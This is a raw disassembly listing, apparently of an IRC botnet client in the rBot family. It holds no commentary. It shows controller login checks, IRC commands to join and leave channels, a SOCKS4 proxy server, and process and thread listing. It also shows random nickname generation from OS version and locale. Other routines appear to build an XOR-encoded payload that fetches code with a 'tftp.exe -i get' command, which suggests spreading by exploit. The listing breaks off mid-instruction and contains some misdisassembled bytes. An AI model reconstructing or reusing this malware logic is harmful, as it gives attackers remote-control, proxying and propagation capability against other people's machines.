esi call sub_41D900 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-458h], eax jmp short loc_40804D ; --------------------------------------------------------------------------- loc_408047: ; CODE XREF: seg000:0040802Bj mov [ebp-458h], ebx loc_40804D: ; CODE XREF: seg000:00408045j lea eax, [ebp-2C8h] push offset aThreadsListThr ; "[THREADS]: List threads." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 28h push eax call sub_408D3F add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset word_408DAA push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4080B7 loc_4080A5: ; CODE XREF: seg000:004080B5j cmp [ebp-44Ch], ebx jnz short loc_4080D2 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4080A5 ; --------------------------------------------------------------------------- loc_4080B7: ; CODE XREF: seg000:004080A3j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"... loc_4080C3: ; CODE XREF: seg000:00406FDAj lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch loc_4080D2: ; CODE XREF: seg000:004053E3j ; seg000:00405405j ... lea eax, [ebp-2C8h] push eax jmp loc_4042DD ; --------------------------------------------------------------------------- loc_4080DE: ; CODE XREF: seg000:00403FCDj ; seg000:00403FE2j push offset aRbg78 ; "rbg78" lea eax, [ebp-2C8h] push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 20h jmp loc_406913 ; --------------------------------------------------------------------------- loc_408115: ; CODE XREF: seg000:00403FA3j ; seg000:00403FB8j push ds:dword_4DF1BC call sub_41A227 push eax lea eax, [ebp-2C8h] push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 24h jmp loc_406913 ; --------------------------------------------------------------------------- loc_408153: ; CODE XREF: seg000:00403F79j ; seg000:00403F8Ej mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_408185 cmp [ebp-0Ch], ebx jz short loc_408194 push esi push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz short loc_408194 push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_401417 add esp, 0Ch jmp short loc_408194 ; --------------------------------------------------------------------------- loc_408185: ; CODE XREF: seg000:0040815Cj push offset aQuitLater_0 ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_401417 pop ecx pop ecx loc_408194: ; CODE XREF: seg000:00408161j ; seg000:00408170j ... push 0FFFFFFFEh jmp loc_40349A ; --------------------------------------------------------------------------- loc_40819B: ; CODE XREF: seg000:00403F4Fj ; seg000:00403F64j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_401417 push offset aMainDisconnect ; "[MAIN]: Disconnecting." call sub_4161A7 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40349B ; --------------------------------------------------------------------------- loc_4081BD: ; CODE XREF: seg000:00403F25j ; seg000:00403F3Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_401417 push offset aMainReconnecti ; "[MAIN]: Reconnecting." call sub_4161A7 add esp, 0Ch xor eax, eax jmp loc_40349B ; --------------------------------------------------------------------------- loc_4081DE: ; CODE XREF: seg000:00403EFBj ; seg000:00403F10j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_409293 jmp loc_406AD7 ; --------------------------------------------------------------------------- loc_4081F4: ; CODE XREF: seg000:00403E56j ; seg000:00403E6Bj push dword ptr [ebp+esi-90h] push 27h push offset aProcessList ; "Process list" push offset aProc ; "[PROC]" loc_408207: ; CODE XREF: seg000:00403CD1j ; seg000:00403CFAj ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_408FCD add esp, 20h jmp loc_403498 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: seg000:00403C92j ; seg000:00403CA7j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_408242 push edi call sub_41D560 test eax, eax pop ecx jz short loc_408242 push edi call sub_41D560 pop ecx jmp short loc_408247 ; --------------------------------------------------------------------------- loc_408242: ; CODE XREF: seg000:0040822Cj ; seg000:00408237j mov eax, ds:dword_43CC54 loc_408247: ; CODE XREF: seg000:00408240j mov esi, [ebp+esi-8Ch] mov [ebp-464h], eax cmp esi, ebx jz short loc_40826C push esi loc_408259: ; CODE XREF: seg000:0040827Bj lea eax, [ebp-474h] push 10h push eax call sub_41D360 add esp, 0Ch jmp short loc_408283 ; --------------------------------------------------------------------------- loc_40826C: ; CODE XREF: seg000:00408256j cmp [ebp-9B3h], bl jz short loc_40827D lea eax, [ebp-0C0h] push eax jmp short loc_408259 ; --------------------------------------------------------------------------- loc_40827D: ; CODE XREF: seg000:00408272j mov [ebp-474h], bl loc_408283: ; CODE XREF: seg000:0040826Aj mov eax, [ebp-4] push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-458h], eax mov eax, [ebp-8] push 80h mov [ebp-454h], eax lea eax, [ebp-4F4h] push eax mov [ebp-4F8h], esi call sub_41D360 add esp, 0Ch push dword ptr [ebp-464h] push esi call sub_402617 pop ecx push eax lea eax, [ebp-2C8h] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 19h push eax call sub_408D3F add esp, 1Ch mov [ebp-460h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F8h] push ebx push eax push offset loc_412507 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-460h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_408334 loc_40831E: ; CODE XREF: seg000:00408332j cmp [ebp-450h], ebx jnz loc_403498 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40831E ; --------------------------------------------------------------------------- loc_408334: ; CODE XREF: seg000:0040831Cj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"... jmp loc_4085E6 ; --------------------------------------------------------------------------- loc_408345: ; CODE XREF: seg000:00403C68j ; seg000:00403C7Dj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40839F push esi call sub_41D560 cmp eax, ebx pop ecx jl short loc_408397 cmp eax, 3 jge short loc_408397 mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40838F lea eax, [esi+1] push eax lea eax, [ebp-2C8h] push offset aMainUserSLog_1 ; "[MAIN]: User %s logged out." push eax call sub_41D260 add esp, 0Ch mov [esi], bl jmp loc_406698 ; --------------------------------------------------------------------------- loc_40838F: ; CODE XREF: seg000:0040836Ej push eax push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d." jmp short loc_4083DC ; --------------------------------------------------------------------------- loc_408397: ; CODE XREF: seg000:00408359j ; seg000:0040835Ej push eax push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d." jmp short loc_4083DC ; --------------------------------------------------------------------------- loc_40839F: ; CODE XREF: seg000:0040834Ej mov edi, [ebp+20h] xor esi, esi loc_4083A4: ; CODE XREF: seg000:004083C0j push dword ptr [ebp-94h] push edi call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4083C7 inc esi add edi, 80h cmp esi, 3 jl short loc_4083A4 jmp loc_406698 ; --------------------------------------------------------------------------- loc_4083C7: ; CODE XREF: seg000:004083B4j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C0h] push eax push offset aMainUserSLog_2 ; "[MAIN]: User %s logged out." loc_4083DC: ; CODE XREF: seg000:00404819j ; seg000:00404847j ... lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch jmp loc_406698 ; --------------------------------------------------------------------------- loc_4083F0: ; CODE XREF: seg000:00403C3Ej ; seg000:00403C53j push dword ptr [ebp-90h] push offset a332_4 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_40845F call sub_408F08 push ebx call ds:dword_4F12F8 ; ExitProcess loc_408412: ; CODE XREF: seg000:00403C14j ; seg000:00403C29j push dword ptr [ebp+esi-90h] xor eax, eax cmp [ebp-9A4h], bl setnz al push eax lea eax, [ebp-564h] push ds:dword_43CC7C push eax call sub_408A38 lea eax, [ebp-564h] push eax push offset aNickS_2 ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 lea eax, [ebp-564h] push eax push offset aMainRandomNick ; "[MAIN]: Random nick change: %s" call sub_41621B loc_40845C: ; CODE XREF: seg000:00405604j add esp, 24h loc_40845F: ; CODE XREF: seg000:00403650j ; seg000:0040365Cj ... mov eax, [ebp+2Ch] jmp loc_40349B ; --------------------------------------------------------------------------- loc_408467: ; CODE XREF: seg000:004036E6j ; seg000:004036FBj mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], esi jz loc_403498 cmp [ebp-0A8h], ebx jnz loc_403498 push offset asc_43D960 ; "!" push dword ptr [ebp-94h] call sub_41D6B0 mov esi, eax push offset dword_4DF348 push ebx inc esi call sub_41D6B0 push offset asc_43D964 ; "~" push eax call sub_41D6B0 push dword ptr [ebp+8] mov edi, eax push offset aHi_0 ; "hi" call sub_41D900 add esp, 20h test eax, eax jz short loc_4084FD lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_401417 lea eax, [ebp-0C0h] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_401417 push edi push esi push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)." jmp short loc_408559 ; --------------------------------------------------------------------------- loc_4084FD: ; CODE XREF: seg000:004084C2j mov dword ptr [ebp+2Ch], offset off_43CD24 loc_408504: ; CODE XREF: seg000:00408520j mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_409098 pop ecx test eax, eax pop ecx jnz short loc_40856D add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_43CD28 jl short loc_408504 lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_401417 lea eax, [ebp-0C0h] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_401417 push edi push esi push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)." loc_408559: ; CODE XREF: seg000:004084FBj lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 30h jmp loc_4066B9 ; --------------------------------------------------------------------------- loc_40856D: ; CODE XREF: seg000:00408513j mov edi, [ebp+20h] xor esi, esi loc_408572: ; CODE XREF: seg000:0040859Cj cmp [ebp+8], ebx jz loc_403498 cmp [edi], bl jnz short loc_408592 push dword ptr [ebp+8] push offset aHi_0 ; "hi" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4085A3 loc_408592: ; CODE XREF: seg000:0040857Dj inc esi add edi, 80h cmp esi, 3 jl short loc_408572 jmp loc_403498 ; --------------------------------------------------------------------------- loc_4085A3: ; CODE XREF: seg000:00408590j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0A94h] push 7Fh push eax push esi call sub_41D800 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4085DA push ebx push dword ptr [ebp-4] push offset aMainPasswordAc ; "[MAIN]: Password accepted." push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_4085DA: ; CODE XREF: seg000:004085BEj lea eax, [ebp-0C0h] push eax push offset aMainUserSLog_3 ; "[MAIN]: User: %s logged in." loc_4085E6: ; CODE XREF: seg000:004035B9j ; seg000:00407FC8j ... call sub_41621B pop ecx loc_4085EC: ; CODE XREF: seg000:004054ABj pop ecx jmp loc_403498 ; --------------------------------------------------------------------------- loc_4085F2: ; CODE XREF: seg000:0040322Bj ; seg000:00403240j push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push offset aXIr ; "-x+iR" push dword ptr [ebp+18h] push offset aModeSS ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 add esp, 2Ch mov ds:dword_4DF338, edi jmp loc_4032BA ; --------------------------------------------------------------------------- loc_408638: ; DATA XREF: seg002:0043C004o jmp $+5 push 0FFFFh push 539h call sub_41801E pop ecx mov ds:dword_4DF1B8, eax pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_408654 proc near ; CODE XREF: sub_408A38+49p ; DATA XREF: seg002:off_43FB00o arg_0 = dword ptr 4 push esi push edi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 call sub_41DBA0 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push ds:off_43FB68[edx*4] push offset aS_27 ; "%s" push 1Ch push edi call sub_41D360 xor esi, esi add esp, 14h cmp ds:dword_43CC78, esi jle short loc_4086BB loc_408695: ; CODE XREF: sub_408654+65j call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41D360 add esp, 14h inc esi cmp esi, ds:dword_43CC78 jl short loc_408695 loc_4086BB: ; CODE XREF: sub_408654+3Fj mov eax, edi pop edi pop esi retn sub_408654 endp ; --------------------------------------------------------------------------- push esi push edi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 mov edi, [esp+10h] mov dword ptr [esp], offset aC_4 ; "C-" push offset aS_28 ; "%s" push 1Ch push edi call sub_41D360 xor esi, esi add esp, 10h cmp ds:dword_43CC78, esi jle short loc_408719 loc_4086F3: ; CODE XREF: seg000:00408717j call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_0 ; "%s%i" push 1Ch push edi call sub_41D360 add esp, 14h inc esi cmp esi, ds:dword_43CC78 jl short loc_4086F3 loc_408719: ; CODE XREF: seg000:004086F1j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40871E proc near ; CODE XREF: seg000:004067A5p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx call sub_41DBA0 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_43CC78 test esi, esi jle short loc_408761 loc_40874B: ; CODE XREF: sub_40871E+41j call sub_41DBA0 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40874B loc_408761: ; CODE XREF: sub_40871E+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40871E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc ; "PC" mov dword ptr [ebp-4], 100h xor edi, edi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx lea eax, [ebp-4] push eax push esi call near ptr 3D0000h sbb al, [ebp-41FA8A40h] in al, dx aaa inc esp add [edi], cl mov esi, 59416A06h loc_4087A6: ; CODE XREF: seg000:004087B1j cmp eax, ecx jnz short loc_4087AD push 1 pop edi loc_4087AD: ; CODE XREF: seg000:004087A8j inc ecx cmp ecx, 5Bh jl short loc_4087A6 push 61h pop ecx loc_4087B6: ; CODE XREF: seg000:004087C1j cmp eax, ecx jnz short loc_4087BD push 1 pop edi loc_4087BD: ; CODE XREF: seg000:004087B8j inc ecx cmp ecx, 7Bh jl short loc_4087B6 test edi, edi jnz short loc_4087CC mov esi, offset aPc_1 ; "PC" loc_4087CC: ; CODE XREF: seg000:004087C5j mov edi, [ebp+8] push esi push 1Ch push edi call sub_41D360 xor esi, esi add esp, 0Ch cmp ds:dword_43CC78, esi jle short loc_40880B loc_4087E5: ; CODE XREF: seg000:00408809j call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch push edi call sub_41D360 add esp, 14h inc esi cmp esi, ds:dword_43CC78 jl short loc_4087E5 loc_40880B: ; CODE XREF: seg000:004087E3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4F1354 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_29 ; "%s|" push 1Ch push edi call sub_41D360 xor esi, esi add esp, 10h cmp ds:dword_43CC78, esi jle short loc_408880 loc_40885A: ; CODE XREF: seg000:0040887Ej call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch push edi call sub_41D360 add esp, 14h inc esi cmp esi, ds:dword_43CC78 jl short loc_40885A loc_408880: ; CODE XREF: seg000:00408858j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_4DF360 mov dword ptr [ebp-94h], 94h call ds:dword_4F1358 ; GetVersionExA call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40890A cmp dword ptr [ebp-8Ch], 0 jnz short loc_4088EA cmp dword ptr [ebp-84h], 1 jnz short loc_4088DA mov esi, offset a95 ; "95" loc_4088DA: ; CODE XREF: seg000:004088D3j cmp dword ptr [ebp-84h], 2 jnz short loc_408946 mov esi, offset aNt ; "NT" jmp short loc_408946 ; --------------------------------------------------------------------------- loc_4088EA: ; CODE XREF: seg000:004088CAj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4088FA mov esi, offset a98 ; "98" jmp short loc_408946 ; --------------------------------------------------------------------------- loc_4088FA: ; CODE XREF: seg000:004088F1j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_408941 mov esi, offset aMe_0 ; "ME" jmp short loc_408946 ; --------------------------------------------------------------------------- loc_40890A: ; CODE XREF: seg000:004088C1j cmp dword ptr [ebp-90h], 5 jnz short loc_408941 cmp dword ptr [ebp-8Ch], 0 jnz short loc_408923 mov esi, offset a2k ; "2K" jmp short loc_408946 ; --------------------------------------------------------------------------- loc_408923: ; CODE XREF: seg000:0040891Aj cmp dword ptr [ebp-8Ch], 1 jnz short loc_408933 mov esi, offset aXp_0 ; "XP" jmp short loc_408946 ; --------------------------------------------------------------------------- loc_408933: ; CODE XREF: seg000:0040892Aj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_408946 loc_408941: ; CODE XREF: seg000:00408901j ; seg000:00408911j mov esi, offset a???_0 ; "???" loc_408946: ; CODE XREF: seg000:004088E1j ; seg000:004088E8j ... mov edi, [ebp+8] push esi push offset aS_30 ; "[%s]|" push 1Ch push edi call sub_41D360 xor esi, esi add esp, 10h cmp ds:dword_43CC78, esi jle short loc_40898A loc_408964: ; CODE XREF: seg000:00408988j call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_3 ; "%s%i" push 1Ch push edi call sub_41D360 add esp, 14h inc esi cmp esi, ds:dword_43CC78 jl short loc_408964 loc_40898A: ; CODE XREF: seg000:00408962j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408990 proc near ; CODE XREF: sub_408A38+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4F1340 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_4089DF push offset aMirc_0 ; "mIRC" call ds:dword_451500 test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_4089C8 mov eax, offset dword_4DF364 loc_4089C8: ; CODE XREF: sub_408990+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41D360 add esp, 14h jmp short loc_408A04 ; --------------------------------------------------------------------------- loc_4089DF: ; CODE XREF: sub_408990+1Dj push offset aMirc_1 ; "mIRC" call ds:dword_451500 test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_4089F8 mov eax, offset dword_4DF368 loc_4089F8: ; CODE XREF: sub_408990+61j push eax lea eax, [ebp+var_1C] push eax call sub_41D260 pop ecx pop ecx loc_408A04: ; CODE XREF: sub_408990+4Dj lea eax, [ebp+var_1C] push eax call sub_41AC70 pop ecx cmp eax, 2 pop esi jbe short loc_408A33 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41E710 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41D800 add esp, 18h loc_408A33: ; CODE XREF: sub_408990+82j mov eax, [ebp+arg_0] leave retn sub_408990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A38 proc near ; CODE XREF: sub_402D46+7Fp ; sub_402EAE+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43FAFC loc_408A44: ; CODE XREF: sub_408A38+3Fj cmp [ebp+arg_C], 0 jz short loc_408A5F lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41D900 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_408A69 ; --------------------------------------------------------------------------- loc_408A5F: ; CODE XREF: sub_408A38+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_408A69: ; CODE XREF: sub_408A38+25j test eax, eax jnz short loc_408A7B add esi, 14h inc edi cmp esi, offset off_43FB74 jl short loc_408A44 jmp short loc_408A89 ; --------------------------------------------------------------------------- loc_408A7B: ; CODE XREF: sub_408A38+33j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_43FB00[eax*4] pop ecx loc_408A89: ; CODE XREF: sub_408A38+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_408A9C push [ebp+arg_0] call sub_408990 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_408A9C: ; CODE XREF: sub_408A38+57j mov eax, [ebp+arg_0] pop ebp retn sub_408A38 endp ; =============== S U B R O U T I N E ======================================= sub_408AA1 proc near ; CODE XREF: sub_408AC1+Ap ; sub_408B99+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41AC70 push [esp+8+arg_4] mov esi, eax call sub_41AC70 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_408AA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AC1 proc near ; CODE XREF: sub_408BB0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_408AA1 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_408ADE xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_408ADE: ; CODE XREF: sub_408AC1+17j push ebx push esi push edi push [ebp+arg_8] call sub_41AC70 push [ebp+arg_C] mov esi, eax call sub_41AC70 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov ds:dword_4438EC, eax lea eax, [edi+1] mov ds:dword_44390D, eax lea eax, [edi+17h] mov ds:dword_443905, eax pop eax push 74h sub eax, edi push offset dword_443888 push ebx mov ds:dword_44391B, eax call sub_41E840 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41E840 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41E840 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41E840 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41E840 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41E840 add esi, edi push 38h add esi, ebx push offset byte_443911 push esi call sub_41E840 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_408AC1 endp ; =============== S U B R O U T I N E ======================================= sub_408B99 proc near ; CODE XREF: sub_408BB0+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_408AA1 push eax call sub_408C1D add esp, 0Ch retn sub_408B99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408BB0 proc near ; CODE XREF: sub_40EC3D+7Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_408B99 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_408BD0 cmp eax, 0FFFFh jbe short loc_408BD4 loc_408BD0: ; CODE XREF: sub_408BB0+17j xor eax, eax jmp short loc_408C19 ; --------------------------------------------------------------------------- loc_408BD4: ; CODE XREF: sub_408BB0+1Ej push esi push edi push ebx call sub_408AA1 add eax, 101h push eax call sub_41AE40 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_408AA1 pop ecx pop ecx push eax push esi call sub_408AC1 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_408C38 push esi mov edi, eax call sub_41B8B0 add esp, 24h mov eax, edi pop esi loc_408C19: ; CODE XREF: sub_408BB0+22j pop edi pop ebx pop ebp retn sub_408BB0 endp ; =============== S U B R O U T I N E ======================================= sub_408C1D proc near ; CODE XREF: sub_408B99+Ep ; sub_408C38+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_408C26 inc ecx loc_408C26: ; CODE XREF: sub_408C1D+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_408C1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C38 proc near ; CODE XREF: sub_408BB0+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_408C54 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_408C54 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_408C54 cmp byte ptr [ebp+arg_C], 0 jnz short loc_408C57 loc_408C54: ; CODE XREF: sub_408C38+8j ; sub_408C38+Ej ... inc [ebp+arg_C] loc_408C57: ; CODE XREF: sub_408C38+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_408C7F mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_408C78 cmp al, 0Dh jz short loc_408C78 cmp al, 5Ch jz short loc_408C78 test al, al jnz short loc_408C7F loc_408C78: ; CODE XREF: sub_408C38+32j ; sub_408C38+36j ... add [ebp+arg_C], 100h loc_408C7F: ; CODE XREF: sub_408C38+28j ; sub_408C38+3Ej push [ebp+arg_C] call sub_408C1D cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_408C97 cmp eax, 0FFFFh jbe short loc_408C9E loc_408C97: ; CODE XREF: sub_408C38+56j xor eax, eax jmp loc_408D3C ; --------------------------------------------------------------------------- loc_408C9E: ; CODE XREF: sub_408C38+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, ds:byte_4DF36C xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_408CCE loc_408CB2: ; CODE XREF: sub_408C38+94j mov al, [edx+edi] xor al, bl jz short loc_408CC5 cmp al, 0Ah jz short loc_408CC5 cmp al, 0Dh jz short loc_408CC5 cmp al, 5Ch jnz short loc_408CC9 loc_408CC5: ; CODE XREF: sub_408C38+7Fj ; sub_408C38+83j ... inc bl xor edx, edx loc_408CC9: ; CODE XREF: sub_408C38+8Bj inc edx cmp edx, ecx jb short loc_408CB2 loc_408CCE: ; CODE XREF: sub_408C38+78j cmp ecx, esi mov ds:byte_4DF36C, bl ja short loc_408CFA push 15h push offset loc_443870 push [ebp+arg_0] mov ds:byte_44387D, cl mov ds:byte_443881, bl call sub_41E840 add esp, 0Ch push 15h jmp short loc_408D1B ; --------------------------------------------------------------------------- loc_408CFA: ; CODE XREF: sub_408C38+9Ej push 17h push offset loc_443858 push [ebp+arg_0] mov ds:word_443866, cx mov ds:byte_44386B, bl call 